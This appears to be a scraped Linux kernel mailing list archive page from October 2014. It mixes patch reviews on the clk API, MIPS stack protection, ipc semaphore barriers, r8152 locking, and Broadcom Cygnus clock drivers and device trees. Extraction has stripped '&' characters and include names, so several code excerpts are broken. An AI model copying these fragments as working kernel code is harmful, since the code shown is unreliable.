exynos5800-peach-pi.

Note that the s3c-rtc works fine, but the max77802-rtc doesn't seem to
work be functional for me:

[2.408178] max77802-rtc max77802-rtc: rtc core: registered max77802-rtc as 
rtc0
[3.595485] s3c-rtc 101e.rtc: rtc core: registered s3c as rtc1

root@(none):/# hwclock --rtc /dev/rtc0
hwclock: ioctl(RTC_RD_TIME) to /dev/rtc0 to read the time failed:
Invalid argument
root@(none):/# hwclock --rtc /dev/rtc1
Thu Oct  9 23:33:06 2014  -0.111978 seconds

Kevin
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v3 7/8] clk: Make clk API return per-user struct clk instances

2014-10-09 Thread Stephen Boyd
On 10/09, Tomeu Vizoso wrote:
>  arch/arm/mach-omap2/cclock3xxx_data.c   | 108 --
>  arch/arm/mach-omap2/clock.h |  11 +-
>  arch/arm/mach-omap2/clock_common_data.c |   5 +-
>  drivers/clk/clk.c   | 630 
> 
>  drivers/clk/clk.h   |   5 +
>  drivers/clk/clkdev.c|  24 +-
>  include/linux/clk-private.h |  35 +-
>  include/linux/clk-provider.h|  22 +-
>  8 files changed, 549 insertions(+), 291 deletions(-)

The difstat looks good.

> 
> diff --git a/drivers/clk/clk.c b/drivers/clk/clk.c
> index fb820bf..4db918a 100644
> --- a/drivers/clk/clk.c
> +++ b/drivers/clk/clk.c
> @@ -695,6 +731,13 @@ struct clk *__clk_lookup(const char *name)
>   return NULL;
>  }
>  
> +struct clk *__clk_lookup(const char *name)
> +{
> + struct clk_core *clk = clk_core_lookup(name);
> +
> + return !clk ? NULL : clk->hw->clk;

This just looks weird with clk->hw->clk. I know we're trying to
keep the diff small by not renaming clk to core when it's used
extensively throughout the code, but for small little additions
like this I would prefer we use core for clk_core pointers and
clk for clk pointers. Then a patch at the end can rename
everything to be consistent. This thing also threw me off because
I searched for kfree(core) but couldn't find it so I thought we
leaked the clk_core structure.

> +}
> +
>  /*
>   * Helper for finding best parent to provide a given frequency. This can be 
> used
>   * directly as a determine_rate callback (e.g. for a mux), or from a more
> @@ -2175,24 +2298,24 @@ void clk_unregister(struct clk *clk)
>* a reference to this clock.
>*/
>   flags = clk_enable_lock();
> - clk->ops = _nodrv_ops;
> + clk->core->ops = _nodrv_ops;
>   clk_enable_unlock(flags);
>  
> - if (!hlist_empty(>children)) {
> - struct clk *child;
> + if (!hlist_empty(>core->children)) {
> + struct clk_core *child;
>   struct hlist_node *t;
>  
>   /* Reparent all children to the orphan list. */
> - hlist_for_each_entry_safe(child, t, >children, child_node)
> - clk_set_parent(child, NULL);
> + hlist_for_each_entry_safe(child, t, >core->children, 
> child_node)
> + clk_core_set_parent(child, NULL);
>   }
>  
> - hlist_del_init(>child_node);
> + hlist_del_init(>core->child_node);
>  
> - if (clk->prepare_count)
> + if (clk->core->prepare_count)
>   pr_warn("%s: unregistering prepared clock: %s\n",
> - __func__, clk->name);
> - kref_put(>ref, __clk_release);
> + __func__, clk->core->name);
> + kref_put(>core->ref, __clk_release);
>  
>   clk_prepare_unlock();

It might be worth it to make a "core" local variable in this
function.

>  }
> @@ -2255,32 +2378,38 @@ void devm_clk_unregister(struct device *dev, struct 
> clk *clk)
>  }
>  EXPORT_SYMBOL_GPL(devm_clk_unregister);
>  
> +static void clk_core_put(struct clk_core *clk)
> +{
> + struct module *owner;
> +
> + if (!clk || WARN_ON_ONCE(IS_ERR(clk)))
> + return;
> +
> + clk_prepare_lock();
> + owner = clk->owner;

Same here too, we don't need to protect the access to owner so it
can move outside the lock.

> + kref_put(>ref, __clk_release);
> + module_put(owner);
> + clk_prepare_unlock();
> +}
> +
>  /*
>   * clkdev helpers
>   */
>  int __clk_get(struct clk *clk)
>  {
>   if (clk) {
> - if (!try_module_get(clk->owner))
> + if (!try_module_get(clk->core->owner))
>   return 0;
>  
> - kref_get(>ref);
> + kref_get(>core->ref);
>   }
>   return 1;

Grow a core pointer?

>  }
> @@ -2391,6 +2520,31 @@ int clk_notifier_unregister(struct clk *clk, struct 
> notifier_block *nb)
>  }
>  EXPORT_SYMBOL_GPL(clk_notifier_unregister);
>  
> +struct clk *__clk_create_clk(struct clk_hw *hw, const char *dev_id,

Curious, why the underscore?

> +  const char *con_id)
> +{
> + struct clk *clk;
> +
> + /* This is to allow this function to be chained to others */
> + if (!hw || IS_ERR(hw))
> + return (struct clk *) hw;
> +
> + clk = kzalloc(sizeof(*clk), GFP_KERNEL);
> + if (!clk)
> + return ERR_PTR(-ENOMEM);
> +
> + clk->core = hw->core;
> + clk->dev_id = dev_id;
> + clk->con_id = con_id;
> +
> + return clk;
> +}
> diff --git a/drivers/clk/clkdev.c b/drivers/clk/clkdev.c
> index da4bda8..4411db6 100644
> --- a/drivers/clk/clkdev.c
> +++ b/drivers/clk/clkdev.c
> @@ -69,6 +70,10 @@ struct clk *of_clk_get(struct device_node *np, int index)
>  
>   clk = of_clk_get_by_clkspec();
>   of_node_put(clkspec.np);
> +
> + if (!IS_ERR(clk))
> + clk = __clk_create_clk(__clk_get_hw(clk), 

Re: [PATCH V4 6/7] MAINTAINERS: Entry for Cygnus/iproc arm architecture and clock drivers

2014-10-09 Thread Scott Branden

On 14-10-09 04:00 PM, Joe Perches wrote:

On Thu, 2014-10-09 at 15:44 -0700, Scott Branden wrote:

Acked-by: Jonathan Richardson 
Signed-off-by: Scott Branden 
---
  MAINTAINERS |   17 -
  1 file changed, 16 insertions(+), 1 deletion(-)

diff --git a/MAINTAINERS b/MAINTAINERS
index a12edf2..0900082 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -2071,9 +2071,24 @@ L:   linux-s...@vger.kernel.org
  S:Supported
  F:drivers/scsi/bnx2i/

-BROADCOM KONA GPIO DRIVER
+BROADCOM CYGNUS/IPROC ARM ARCHITECTURE
  M:Ray Jui 
+M: Scott Branden 
+L: linux-arm-ker...@lists.infradead.org (moderated for non-subscribers)
  L:bcm-kernel-feedback-l...@broadcom.com
+S: Maintained
+F: Documentation/devicetree/bindings/arm/bcm/cygnus.txt
+F: arch/arm/boot/dts/bcm-cygnus.dtsi
+F: arch/arm/boot/dts/bcm911360_entphn.dts
+F: arch/arm/configs/bcm_cygnus_defconfig
+F: arch/arm/mach-bcm/bcm_cygnus.c
+F: Documentation/devicetree/bindings/clock/clk-cygnus.txt
+F: Documentation/devicetree/bindings/clock/clk-iproc.txt
+F: drivers/clk/bcm/clk-cygnus.c
+F: drivers/clk/bcm/clk-iproc.c
+
+BROADCOM KONA GPIO DRIVER
+M: Ray Jui 
  S:Supported
  F:drivers/gpio/gpio-bcm-kona.c
  F:Documentation/devicetree/bindings/gpio/gpio-bcm-kona.txt


This drops this L line from BROADCOM KONA GPIO DRIVER
L:  bcm-kernel-feedback-l...@broadcom.com

Is that what you want?

Wow, sorry.  I'll correct after further comments.




--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v2 2/3] MIPS: Setup an instruction emulation in VDSO protected page instead of user stack

2014-10-09 Thread Leonid Yegoshin

Small stack of emulation blocks is supported because nested traps are possible
in MIPS32/64 R6 emulation mix with FPU emulation.

Could you please clarify how this nesting of emulation blocks could
happen now that signals are handled more cleanly.

I.e. isn't the emuframe stuff only required for instructions in branch
delay slots, and branches shouldn't be in branch delay slots anyway, so
I don't get how they could nest.

It may be a case for mix of FPU and MIPS R6 emulations. I just keep both 
emulators separate as much as possible but I assume that without prove 
it may be stackable - some rollback is needed to join both and it may 
(probably) cause a double emulation setup - dsemul may be called twice 
for the same pair of instructions. I didn't see that yet, honestly and 
you may be right.


And as for signals - it is a different issue, some signal may happen 
before or after emulated instruction in emulation block and I see that. 
But I see it only before because of probability for it is a lot of 
higher. Unwinding is need because signal handler may not return but 
longjump to somewhere.

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH 1/3] ipc/sem.c: Chance memory barrier in sem_lock() to smp_rmb()

2014-10-09 Thread Davidlohr Bueso
On Mon, 2014-10-06 at 20:32 +0200, Manfred Spraul wrote:
> When I fixed bugs in the sem_lock() logic, I was more conservative than
> necessary.
> Therefore it is safe to replace the smp_mb() with smp_rmb().
> And: With smp_rmb(), semop() syscalls are up to 10% faster.
> 
> The race we must protect against is:
> 
>   sem->lock is free
>   sma->complex_count = 0
>   sma->sem_perm.lock held by thread B
> 
> thread A:
> 
> A: spin_lock(>lock)
> 
>   B: sma->complex_count++; (now 1)
>   B: spin_unlock(>sem_perm.lock);
> 
> A: spin_is_locked(>sem_perm.lock);
> A: X memory barrier
> A: if (sma->complex_count == 0)
> 
> Thread A must read the increased complex_count value, i.e. the read must
> not be reordered with the read of sem_perm.lock done by spin_is_locked().
> 
> Since it's about ordering of reads, smp_rmb() is sufficient.
> 
> Signed-off-by: Manfred Spraul 

Reviewed-by: Davidlohr Bueso 

With a suggestion below.

> ---
>  ipc/sem.c | 12 +---
>  1 file changed, 9 insertions(+), 3 deletions(-)
> 
> diff --git a/ipc/sem.c b/ipc/sem.c
> index 454f6c6..ffc71de 100644
> --- a/ipc/sem.c
> +++ b/ipc/sem.c
> @@ -326,10 +326,16 @@ static inline int sem_lock(struct sem_array *sma, 
> struct sembuf *sops,
>  
>   /* Then check that the global lock is free */
>   if (!spin_is_locked(>sem_perm.lock)) {
> - /* spin_is_locked() is not a memory barrier */
> - smp_mb();
> + /*
> +  * The next test must happen after the test for
> +  * sem_perm.lock, otherwise we can race with another
> +  * thread that does
> +  *  complex_count++;spin_unlock(sem_perm.lock);
> +  */

How about this comment instead:

/*
 * The ipc object lock check must be visible on all cores before
 * rechecking the complex count. Otherwise we can race with 
 * another thread that does:
 *  complex_count;
 *  spin_unlock(sem_perm.lock);
 */

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH net-next v2 0/3] r8152: use mutex for hw settings

2014-10-09 Thread David Miller
From: Hayes Wang 
Date: Thu, 9 Oct 2014 18:00:23 +0800

> v2:
> Make sure the autoresume wouldn't occur inside the mutex, otherwise
> the dead lock would happen. For the purpose, adjust some code about
> autosuspend/autoresume.
> 
> v1:
> Use mutex to avoid that the serial hw settings would be interrupted
> by other settings. Although there is no problem now, it makes the
> driver more safe.

Series applied, thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH net-next] r8152: use mutex for hw settings

2014-10-09 Thread David Miller
From: Hayes Wang 
Date: Thu, 9 Oct 2014 07:59:35 +

> If I use the rtnl_lock(), I get a dead lock when enabling autosuspend.
> 
> Case 1:
>autosuspend before calling open.
>rtnl_lock()
>call open
>try to autoresume and rtl8152_resume is called.
>dead lock occurs.
> 
> Case 2:
>autosuspend occurs.
>rtnl_lock()
>call close
>try to autoresume and rtl8152_resume is called.
>dead lock occurs.

That's really unfortunate that we can variably get into the resume
handlers from contexts holding the RTNL mutex.

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH V4 6/7] MAINTAINERS: Entry for Cygnus/iproc arm architecture and clock drivers

2014-10-09 Thread Joe Perches
On Thu, 2014-10-09 at 15:44 -0700, Scott Branden wrote:
> Acked-by: Jonathan Richardson 
> Signed-off-by: Scott Branden 
> ---
>  MAINTAINERS |   17 -
>  1 file changed, 16 insertions(+), 1 deletion(-)
> 
> diff --git a/MAINTAINERS b/MAINTAINERS
> index a12edf2..0900082 100644
> --- a/MAINTAINERS
> +++ b/MAINTAINERS
> @@ -2071,9 +2071,24 @@ L: linux-s...@vger.kernel.org
>  S:   Supported
>  F:   drivers/scsi/bnx2i/
>  
> -BROADCOM KONA GPIO DRIVER
> +BROADCOM CYGNUS/IPROC ARM ARCHITECTURE
>  M:   Ray Jui 
> +M:   Scott Branden 
> +L:   linux-arm-ker...@lists.infradead.org (moderated for non-subscribers)
>  L:   bcm-kernel-feedback-l...@broadcom.com
> +S:   Maintained
> +F:   Documentation/devicetree/bindings/arm/bcm/cygnus.txt
> +F:   arch/arm/boot/dts/bcm-cygnus.dtsi
> +F:   arch/arm/boot/dts/bcm911360_entphn.dts
> +F:   arch/arm/configs/bcm_cygnus_defconfig
> +F:   arch/arm/mach-bcm/bcm_cygnus.c
> +F:   Documentation/devicetree/bindings/clock/clk-cygnus.txt
> +F:   Documentation/devicetree/bindings/clock/clk-iproc.txt
> +F:   drivers/clk/bcm/clk-cygnus.c
> +F:   drivers/clk/bcm/clk-iproc.c
> +
> +BROADCOM KONA GPIO DRIVER
> +M:   Ray Jui 
>  S:   Supported
>  F:   drivers/gpio/gpio-bcm-kona.c
>  F:   Documentation/devicetree/bindings/gpio/gpio-bcm-kona.txt

This drops this L line from BROADCOM KONA GPIO DRIVER
L:  bcm-kernel-feedback-l...@broadcom.com

Is that what you want?

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH v2 0/3] MIPS executable stack protection

2014-10-09 Thread David Daney

On 10/09/2014 03:18 PM, Leonid Yegoshin wrote:

On 10/09/2014 02:42 PM, David Daney wrote:

On 10/09/2014 01:00 PM, Leonid Yegoshin wrote:

The following series implements an executable stack protection in MIPS.

It sets up a per-thread 'VDSO' page and appropriate TLB support.
Page is set write-protected from user and is maintained via kernel VA.
MIPS FPU emulation is shifted to new page and stack is relieved for
execute protection as is as all data pages in default setup during ELF
binary initialization. The real protection is controlled by GLIBC and
it can do stack protected now as it is done in other architectures and
I learned today that GLIBC team is ready for this.


What does it mean to be 'ready'?  If they committed patches before
there was kernel support, that it putting the cart before the horse.
GlibC's state cannot be used as valid reason for committing major
kernel changes.  There would be no regression in any GLibC based
system as a result of not merging this patch.

Rich Fuhler said me that they discussed it internally and have a
solution to fix their problem (ignoring PT_GNU_STACK on first library
load - they need to sort out the logic). But we need to split both issue
- right now stack can't be protected because of emulation. If they set
stack protected then emulation fails on CPU without FPU.


Yes, we understand why non-executable stack is not compatible with the 
FPU emulator.








Note: actual execute-protection depends from HW capability, of course.

This patch is required for MIPS32/64 R2 emulation on MIPS R6
architecture.
Without it 'ssh-keygen' crashes pretty fast on attempt to execute
instruction
in stack.


There is much more blocking MIPS32/64 R2 emulation on MIPS R6 than
just this patch isn't there?


This one is critical - ssh-keygen crashes during running MIPS R2. I have
a patch in my R6 repository but GLIBC still can't set stack executable
and security suffers.


But is the R6 code already in the lmo or kernel.org repositories?

If not, then the lack of this patch is not a gating issue.  If this 
patch is really needed for R6 support, why not submit the R6 
prerequisite patches first?


If this patch has nothing to do with MIPS R6, then state that.





Also, if you are supporting MIPS R6, this patch doesn't even work,
because it doesn't handle PC relative instructions at all.


It seems like you missed my statement - adding support for PC-relative
instruction is just 5 lines of code. I just refrain from this until
toolchain starts generating that.


How can it be just 5 lines of code?  You have to emulate all those 
instructions:


  ADDIUPC
  AUIPC
  ALUIPC
  LDPC
  LWPC
  LWUPC

I think that is all of them.  You can emulate all of those in 5 lines of 
code?


We need to support everything the toolchain could product in the future. 
 I don't think it makes sense to add all this stuff when it is well 
known that it doesn't solve the problem for MIPS R6, especially when the 
justification for the patch is that it is needed for R6.


I understand what your goals are here, I have spend many months working 
towards a non-executable stack (see the patches that moved the signal 
trampolines off the stack).  But I am worried that there are many cases 
that it will not handle.




Besides that, this version 2 of patch just passed 20-22 hours on P5600
and Virtuoso (no FPU on both) under SOAK test and it gets around 1 per
hour of signal right at emulated instruction in VDSO and unwind works
(as I can see in debug prints).



I'm not saying that the patch doesn't work under your highly constrained 
test conditions, I believe that it does.


I am not familiar with the SOAK test.  Does it really put faulting 
instructions the delay slots of FP branch instructions, catch the 
resulting signal, and then throw an exception from the signal handler?






The recent discussions on this subject, including many comments from
Imgtec e-mail addresses, brought to light the need to use an
instruction set emulator for newer MIPSr6 ISA processors.


In Imgtec I am only one who works on MIPS R6 SW and FPU branch emulation
and I say you - it is not needed, this solution is enough.


It can't be true the PC relative support is not needed, why did you add 
the PC relative instructions, if you didn't want to use them in Linux 
userspace?


Really what I was talking about was a wider audience, the people that 
will write tools and code that target userspace.  They will want a 
solution without a bunch of restrictions forced upon them by the 
limitations of the FPU emulator.






In light of this, why does it make sense to merge this patch, instead
of taking the approach of emulating the instructions in the delay slot?


Well, because it does exist now. But full MIPS emulator... for all
ASEs... for any MIPS vendor... I even doesn't want to estimate an amount
of time and code size to develop it.

Besides that, you missed my another statement - we don't force customer
to disclose all details of their 

Re: [PATCH] net: Missing @ before descriptions cause make xmldocs warning

2014-10-09 Thread David Miller
From: Masanari Iida 
Date: Thu,  9 Oct 2014 12:58:08 +0900

> This patch fix following warning.
> Warning(.//net/core/skbuff.c:4142): No description found for parameter 
> 'header_len'
> Warning(.//net/core/skbuff.c:4142): No description found for parameter 
> 'data_len'
> Warning(.//net/core/skbuff.c:4142): No description found for parameter 
> 'max_page_order'
> Warning(.//net/core/skbuff.c:4142): No description found for parameter 
> 'errcode'
> Warning(.//net/core/skbuff.c:4142): No description found for parameter 
> 'gfp_mask'
> 
> Acutually the descriptions exist, but missing "@" in front.
> 
> This problem start to happen when following commit was merged
> into Linus's tree during 3.18-rc1 merge period.
> commit 2e4e44107176d552f8bb1bb76053e850e3809841
> net: add alloc_skb_with_frags() helper
> 
> Signed-off-by: Masanari Iida 

Applied, thank you.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH V4 2/7] clk: Clock driver support for Broadcom Cygnus SoC

2014-10-09 Thread Scott Branden
From: Jonathan Richardson 

The iProc clock driver controls PLLs common across iProc chips. The
cygnus driver controls cygnus specific features and variations.

Reviewed-by: Ray Jui 
Tested-by: Jonathan Richardson 
Reviewed-by: JD (Jiandong) Zheng 
Signed-off-by: Scott Branden 
---
 drivers/clk/Makefile |1 +
 drivers/clk/bcm/Makefile |2 +
 drivers/clk/bcm/clk-cygnus.c | 1186 ++
 drivers/clk/bcm/clk-iproc.c  |  451 
 4 files changed, 1640 insertions(+)
 create mode 100644 drivers/clk/bcm/clk-cygnus.c
 create mode 100644 drivers/clk/bcm/clk-iproc.c

diff --git a/drivers/clk/Makefile b/drivers/clk/Makefile
index f537a0b..8ac0a31 100644
--- a/drivers/clk/Makefile
+++ b/drivers/clk/Makefile
@@ -37,6 +37,7 @@ obj-$(CONFIG_ARCH_VT8500) += clk-vt8500.o
 obj-$(CONFIG_COMMON_CLK_WM831X)+= clk-wm831x.o
 obj-$(CONFIG_COMMON_CLK_XGENE) += clk-xgene.o
 obj-$(CONFIG_COMMON_CLK_AT91)  += at91/
+obj-$(CONFIG_ARCH_BCM_IPROC)   += bcm/
 obj-$(CONFIG_ARCH_BCM_MOBILE)  += bcm/
 obj-$(CONFIG_ARCH_BERLIN)  += berlin/
 obj-$(CONFIG_ARCH_HI3xxx)  += hisilicon/
diff --git a/drivers/clk/bcm/Makefile b/drivers/clk/bcm/Makefile
index 6297d05..f803919 100644
--- a/drivers/clk/bcm/Makefile
+++ b/drivers/clk/bcm/Makefile
@@ -2,3 +2,5 @@ obj-$(CONFIG_CLK_BCM_KONA)  += clk-kona.o
 obj-$(CONFIG_CLK_BCM_KONA) += clk-kona-setup.o
 obj-$(CONFIG_CLK_BCM_KONA) += clk-bcm281xx.o
 obj-$(CONFIG_CLK_BCM_KONA) += clk-bcm21664.o
+obj-$(CONFIG_ARCH_BCM_IPROC)   += clk-iproc.o
+obj-$(CONFIG_ARCH_BCM_CYGNUS)  += clk-cygnus.o
diff --git a/drivers/clk/bcm/clk-cygnus.c b/drivers/clk/bcm/clk-cygnus.c
new file mode 100644
index 000..2a4f976
--- /dev/null
+++ b/drivers/clk/bcm/clk-cygnus.c
@@ -0,0 +1,1186 @@
+/*
+ * Copyright 2014 Broadcom Corporation.  All rights reserved.
+ *
+ * Unless you and Broadcom execute a separate written software license
+ * agreement governing use of this software, this software is licensed to you
+ * under the terms of the GNU General Public License as
+ * published by the Free Software Foundation version 2.
+ *
+ * This program is distributed "as is" WITHOUT ANY WARRANTY of any
+ * kind, whether express or implied; without even the implied warranty
+ * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ */
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+
+/*
+ * The CRU contains two similar PLLs: LCPLL and GENPLL,
+ * both with several output channels divided from the PLL
+ * output.
+ */
+
+#define CRU_LCPLL_CONTROL1_OFFSET  0x04
+#define CRU_LCPLL_STATUS_OFFSET0x18
+
+#define LCPLL0_PDIV_SHIFT   26
+#define LCPLL0_PDIV_MASK0xf
+#define LCPLL0_NDIV_SHIFT   16
+#define LCPLL0_NDIV_MASK0x3ff
+#define LCPLL_ENABLEB_CH_SHIFT  7
+#define LCPLL_ENABLEB_CH_MASK   0x3f
+#define LCPLL_MDIV_MASK 0xff
+#define LCPLL_STATUS_LOCK_SHIFT 12
+
+#define LCPLL0_CONTROL0_OFFSET  0x00
+#define LCPLL0_CONTROL1_OFFSET  0x04
+#define LCPLL0_CONTROL2_OFFSET  0x08
+#define LCPLL0_CONTROL3_OFFSET  0x0c
+
+#define GENPLL_CONTROL0_OFFSET 0x00
+#define GENPLL_CONTROL1_OFFSET 0x04
+#define GENPLL_CONTROL2_OFFSET 0x08
+#define GENPLL_CONTROL3_OFFSET 0x0c
+#define GENPLL_CONTROL4_OFFSET 0x10
+#define GENPLL_CONTROL5_OFFSET 0x14
+#define GENPLL_CONTROL6_OFFSET 0x18
+#define GENPLL_CONTROL7_OFFSET 0x1c
+#define GENPLL_CONTROL8_OFFSET 0x20
+#define GENPLL_CONTROL9_OFFSET 0x24
+#define GENPLL_STATUS_OFFSET   0x28
+
+#define GENPLL_ENABLEB_CH_SHIFT0x6
+#define GENPLL_ENABLEB_CH_MASK 0x3f
+
+#define GENPLL_STATUS_LOCK_SHIFT   12
+#define GENPLL_STATUS_LOCK_MASK1
+#define GENPLL_CONTROL4_NDIV_INT_SHIFT 20
+#define GENPLL_CONTROL4_NDIV_INT_MASK  0x3FF
+#define GENPLL_CONTROL4_NDIV_FRAC_SHIFT0
+#define GENPLL_CONTROL4_NDIV_FRAC_MASK 0xF
+#define GENPLL_CONTROL5_PDIV_SHIFT 0
+#define GENPLL_CONTROL5_PDIV_MASK  0xF
+#define GENPLL_MDIV_MASK   0xff
+
+#define MIPI_DSI_GENPLL_ENABLEB_CH_SHIFT   12
+#define NDIV_FRAC_DIVISOR  0x10
+
+#define ASIU_MIPI_GENPLL_PWRON_SHIFT  20
+#define ASIU_MIPI_GENPLL_PWRON_PLL_SHIFT  19
+#define ASIU_MIPI_GENPLL_PWRON_BG_SHIFT   18
+#define ASIU_MIPI_GENPLL_PWRON_LDO_SHIFT  17
+#define ASIU_MIPI_GENPLL_ISO_IN_SHIFT 16
+#define ASIU_AUDIO_GENPLL_PWRON_PLL_SHIFT 11
+#define ASIU_AUDIO_GENPLL_PWRON_BG_SHIFT  10
+#define ASIU_AUDIO_GENPLL_PWRON_LDO_SHIFT 9
+#define ASIU_AUDIO_GENPLL_ISO_IN  8
+
+#define CLK_RATE_NO_DIV   -1
+
+/*
+ * The clock framework may call recalc even if a clock is is unused, and
+ * therefore before being prepared/enabled. State checking is done for the
+ * MIPI PLL to prevent reading from a MIPI DSI register before the PLL is
+ * powered up because it will cause corruption (imprecise external 

[PATCH V4 5/7] ARM: dts: Enable Broadcom Cygnus SoC

2014-10-09 Thread Scott Branden
From: Jonathan Richardson 

DT files to enable cygnus consisting of the enterprise phone board
variant and cygnus core configuration.

Reviewed-by: Ray Jui 
Reviewed-by: Arun Parameswaran 
Tested-by: Jonathan Richardson 
Reviewed-by: JD (Jiandong) Zheng 
Signed-off-by: Scott Branden 
---
 arch/arm/boot/dts/Makefile |1 +
 arch/arm/boot/dts/bcm-cygnus.dtsi  |  349 
 arch/arm/boot/dts/bcm911360_entphn.dts |   22 ++
 3 files changed, 372 insertions(+)
 create mode 100644 arch/arm/boot/dts/bcm-cygnus.dtsi
 create mode 100644 arch/arm/boot/dts/bcm911360_entphn.dts

diff --git a/arch/arm/boot/dts/Makefile b/arch/arm/boot/dts/Makefile
index b8c5cd3..b95d41d 100644
--- a/arch/arm/boot/dts/Makefile
+++ b/arch/arm/boot/dts/Makefile
@@ -52,6 +52,7 @@ dtb-$(CONFIG_ARCH_AT91)   += sama5d36ek.dtb
 dtb-$(CONFIG_ARCH_ATLAS6) += atlas6-evb.dtb
 dtb-$(CONFIG_ARCH_AXXIA) += axm5516-amarillo.dtb
 dtb-$(CONFIG_ARCH_BCM2835) += bcm2835-rpi-b.dtb
+dtb-$(CONFIG_ARCH_BCM_CYGNUS) += bcm911360_entphn.dtb
 dtb-$(CONFIG_ARCH_BCM_5301X) += bcm4708-netgear-r6250.dtb
 dtb-$(CONFIG_ARCH_BCM_MOBILE) += bcm28155-ap.dtb \
bcm21664-garnet.dtb
diff --git a/arch/arm/boot/dts/bcm-cygnus.dtsi 
b/arch/arm/boot/dts/bcm-cygnus.dtsi
new file mode 100644
index 000..81da0d8
--- /dev/null
+++ b/arch/arm/boot/dts/bcm-cygnus.dtsi
@@ -0,0 +1,349 @@
+/*
+ * Copyright 2014 Broadcom Corporation.  All rights reserved.
+ *
+ * Unless you and Broadcom execute a separate written software license
+ * agreement governing use of this software, this software is licensed to you
+ * under the terms of the GNU General Public License as
+ * published by the Free Software Foundation version 2.
+ *
+ * This program is distributed "as is" WITHOUT ANY WARRANTY of any
+ * kind, whether express or implied; without even the implied warranty
+ * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ */
+
+#include 
+#include 
+
+#include "skeleton.dtsi"
+
+/ {
+   compatible = "brcm,cygnus";
+   model = "Broadcom Cygnus SoC";
+   interrupt-parent = <>;
+
+   aliases {
+   serial0 = 
+   serial1 = 
+   };
+
+   chosen {
+   bootargs = "console=ttyS0,115200 earlyprintk debug";
+   };
+
+   cpus {
+   #address-cells = <1>;
+   #size-cells = <0>;
+
+   cpu@0 {
+   device_type = "cpu";
+   compatible = "arm,cortex-a9";
+   next-level-cache = <>;
+   reg = <0x0>;
+   };
+   };
+
+   clocks {
+   #address-cells = <1>;
+   #size-cells = <1>;
+   ranges;
+
+   osc: oscillator {
+   #clock-cells = <0>;
+   compatible = "fixed-clock";
+   clock-frequency = <2500>;
+   };
+
+   lcpll: lcpll@0301d02c {
+   #clock-cells = <0>;
+   compatible = "brcm,cygnus-lcpll-clk";
+   reg = <0x0301d02c 0x1c>;
+   clocks = <>;
+   };
+
+   genpll: genpll@0301d000 {
+   #clock-cells = <0>;
+   compatible = "brcm,cygnus-genpll-clk";
+   reg = <0x0301d000 0x2c>,
+ <0x180AA024 0x4>,
+ <0x0301C020 0x4>;
+   clocks = <>;
+   };
+
+   axi21_clk: genpll_ch0@0301d000 {
+   #clock-cells = <0>;
+   compatible = "brcm,cygnus-genpll-ch";
+   reg = <0x0301d000 0x2c>;
+   clocks = <>;
+   channel = <0>;
+   };
+
+   clk_25MHz: genpll_ch1@0301d000 {
+   #clock-cells = <0>;
+   compatible = "brcm,cygnus-genpll-ch";
+   reg = <0x0301d000 0x2c>;
+   clocks = <>;
+   channel = <1>;
+   };
+
+   sys_clk: genpll_ch2@0301d000 {
+   #clock-cells = <0>;
+   compatible = "brcm,cygnus-genpll-ch";
+   reg = <0x0301d000 0x2c>;
+   clocks = <>;
+   channel = <2>;
+   };
+
+   ethernet_clk: genpll_ch3@0301d000 {
+   #clock-cells = <0>;
+   compatible = "brcm,cygnus-genpll-ch";
+   reg = <0x0301d000 0x2c>;
+   clocks = <>;
+   channel = <3>;
+   };
+
+   asiu_audio_clk: genpll_ch4@0301d000 {
+   #clock-cells = <0>;
+   compatible = "brcm,cygnus-genpll-ch";
+   reg = 

[PATCH V4 6/7] MAINTAINERS: Entry for Cygnus/iproc arm architecture and clock drivers

2014-10-09 Thread Scott Branden
Acked-by: Jonathan Richardson 
Signed-off-by: Scott Branden 
---
 MAINTAINERS |   17 -
 1 file changed, 16 insertions(+), 1 deletion(-)

diff --git a/MAINTAINERS b/MAINTAINERS
index a12edf2..0900082 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -2071,9 +2071,24 @@ L:   linux-s...@vger.kernel.org
 S: Supported
 F: drivers/scsi/bnx2i/
 
-BROADCOM KONA GPIO DRIVER
+BROADCOM CYGNUS/IPROC ARM ARCHITECTURE
 M: Ray Jui 
+M: Scott Branden 
+L: linux-arm-ker...@lists.infradead.org (moderated for non-subscribers)
 L: bcm-kernel-feedback-l...@broadcom.com
+S: Maintained
+F: Documentation/devicetree/bindings/arm/bcm/cygnus.txt
+F: arch/arm/boot/dts/bcm-cygnus.dtsi
+F: arch/arm/boot/dts/bcm911360_entphn.dts
+F: arch/arm/configs/bcm_cygnus_defconfig
